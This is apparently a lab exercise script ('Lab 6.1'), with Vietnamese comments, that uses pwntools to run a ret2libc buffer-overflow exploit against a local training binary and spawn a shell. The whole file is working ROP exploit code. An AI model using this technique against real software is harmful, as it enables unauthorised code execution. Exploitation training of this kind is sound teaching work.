#!/usr/bin/env python3
# Lab 6.1: ret2libc nham process local.
# Binary khong co 'pop rdi ; ret', nen lay gadget tu libc qua ROP([elf, libc]).
# Offset libc/system//bin/sh tinh DONG tu libc that cua tien trinh (glibc 2.39),
# khong hardcode offset 2.35.
from pwn import *
import time

context.binary = elf = ELF('./ret2libc')
context.log_level = 'info'

io = process('./ret2libc')

# pwntools doc /proc/<pid>/maps cua tien trinh con -> base libc THAT.
# Cho process LOCAL dieu nay dung ca khi ASLR bat. Remote that su thi phai leak (Bai 6.2).
libc = elf.libc
libc.address = io.libc.address
log.info('libc base = %#x', libc.address)

offset = 72                         # tu xac minh bang cyclic; buf[64] -> rbp-0x40 -> 72

rop = ROP([elf, libc])
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]   # lay tu libc
ret     = rop.find_gadget(['ret'])[0]              # can alignment 16 byte
binsh   = next(libc.search(b'/bin/sh\x00'))
system  = libc.sym['system']
log.info('pop rdi ; ret = %#x', pop_rdi)
log.info('system        = %#x', system)
log.info('/bin/sh       = %#x', binsh)

payload = flat(
    b'A' * offset,
    ret,                # can rsp ve boi so 16 truoc khi vao system (movaps)
    pop_rdi, binsh,
    system,
)
io.send(payload)

# read(0,buf,256) la mot lan read duy nhat. Cho no tra ve (chain chay, shell
# spawn) truoc khi gui lenh, neu khong lenh bi nuot chung vao cung lan read do.
time.sleep(0.5)
io.sendline(b'echo ===PWNED_6_1===; id; uname -a; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_6_1===' in out, 'FAIL: khong lay duoc shell'
log.success('ret2libc OK: da lay shell va chay id')
